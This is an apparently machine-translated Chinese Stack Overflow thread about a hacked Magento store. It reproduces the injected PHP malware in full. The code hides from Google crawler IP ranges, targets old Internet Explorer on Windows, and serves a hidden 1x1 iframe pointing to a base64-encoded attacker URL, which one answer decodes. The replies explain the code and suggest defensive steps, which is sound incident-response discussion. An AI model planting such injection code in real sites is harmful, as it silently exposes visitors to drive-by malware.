【问题标题】:PHP Web Application (Magento) hacked; What does this hacker code do?PHP Web 应用程序(Magento)被黑;这个黑客代码有什么作用?
【发布时间】:2014-09-23 22:06:12
【问题描述】:

我刚刚在安装 Magento 1.3.2.4 时被黑了。你能告诉我这段代码的目的是什么吗?

另外,如何阻止这种情况以及如何发现漏洞?

谢谢

function net_match ( $network , $ip ) {
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}


$ip=$_SERVER['REMOTE_ADDR'];

$user_agent = $_SERVER['HTTP_USER_AGENT'];


$user_agent = $_SERVER["HTTP_USER_AGENT"];

$IP = $_SERVER['REMOTE_ADDR'].".log";

@mkdir('/tmp/Location/');

$dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuMzguMTAyL0hvbWUvaW5kZXgucGhw');

if(!file_exists("/tmp/Location/{$IP}"))
{


if(
net_match('64.233.160.0/19',$ip)==0 &&
net_match('66.102.0.0/20',$ip)==0 &&
net_match('66.249.64.0/19',$ip)==0 &&
net_match('72.14.192.0/18',$ip)==0 &&
net_match('74.125.0.0/16',$ip)==0 &&
net_match('89.207.224.0/24',$ip)==0 &&
net_match('193.142.125.0/24',$ip)==0 &&
net_match('194.110.194.0/24',$ip)==0 &&
net_match('209.85.128.0/17',$ip)==0 &&
net_match('216.239.32.0/19',$ip)==0 &&
net_match('128.111.0.0/16',$ip)==0 &&
net_match('67.217.0.0/16',$ip)==0 &&
net_match('188.93.0.0/16',$ip)==0
)

{
if(strpos($user_agent, "Windows") !== false)
{
if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
)
{
echo '<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>';

touch ("/tmp/Location/{$IP}");

}}}}

【问题讨论】:

  • 你在哪里找到这个代码?

标签: php security magento xss


【解决方案1】:

它会创建一个 iframe,将人们引导到另一个网站。 dfjgkbl 变量包含 URL 的 base64 编码;如果您想知道它是什么,可以使用在线 base64 解码器。我不会在此处粘贴它,因为根据您的其余代码,该 URL 可能包含 Windows 病毒。

【讨论】:

  • 另外,它排除了一些域范围和非 MSIE 浏览器,因为它们不太可能感染病毒,更有可能被检测到...
  • 非常感谢。现在有办法追踪问题......并防止它发生吗?
  • 如果我将代码放在另一个 php 文件中,以检测该文件是否已更改并恢复更改,这会安全吗?
  • 检测效果很好,但它有点像在纱门上打了一个洞。当然,你可以检测到有蚊子进来了,但是在你修好洞之前,会有更多的蚊子进来。
  • @Rock 您必须确定此代码如何进入您的网站。更改所有密码,将问题通知管理员,最终更改管理员。如果您现在不使用某个版本控制系统,还可以使用一些版本控制系统来检测代码的所有更改。看来你的安全确实有问题。
【解决方案2】:

只是一个友好的建议,如果您使用 FileZilla 作为 FTP 代理,它会将保存的密码保存在 xml 文件中,您的电脑上可能存在病毒,可以将 FileZilla 连接到您的服务器并将其写入您的文件。还要检查您的 CPanel 并查找不是您创建的 FTP 帐户。情况可能并非如此,请检查任何情况。

【讨论】:

  • +1。检查 iFrame 错误时,我首先要做的是客户端是否使用 FileZilla - IMO 最糟糕的 FTP 代理。这很糟糕。免费或不免费。太可怕了。
  • 是时候让人们开始获得线索了。使用 SCP/SFTP,这样您就不会以明文形式传递登录凭据,然后将名称/密码保存在安全的地方(加密存储)。
【解决方案3】:

Total Commander 也有类似的问题... Virus 使用了 TC FTP 帐户,彻底改变了我的网站(Joomla CMS),并在几乎每个 php 文件中添加了类似的恶意代码。

【讨论】:

    【解决方案4】:
    $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuMzguMTAyL0hvbWUvaW5kZXgucGhw');
    

    前往:

    请勿点击(这是黑客链接)>>>> 129.121.38.102 / Home/ index 。 php

    黑客会为您网站上的所有内容创建日志。

    【讨论】:

      【解决方案5】:

      首先升级您的 Magento,此时它就像非常旧的版本。

      您的被黑代码是我们每次看到的通用 php 病毒代码,它是一种从您的 PC 到服务器或从服务器到服务器的自动病毒

      您也可以使用免费插件,例如:magefirewall 来保护您的 magento。

      P.S 我是开发者之一

      【讨论】:

        猜你喜欢
        • 2022-10-23
        • 1970-01-01
        • 2013-12-18
        • 2012-08-29
        • 2014-12-03
        • 1970-01-01
        • 2011-06-13
        • 1970-01-01
        • 2013-09-11
        相关资源
        最近更新 更多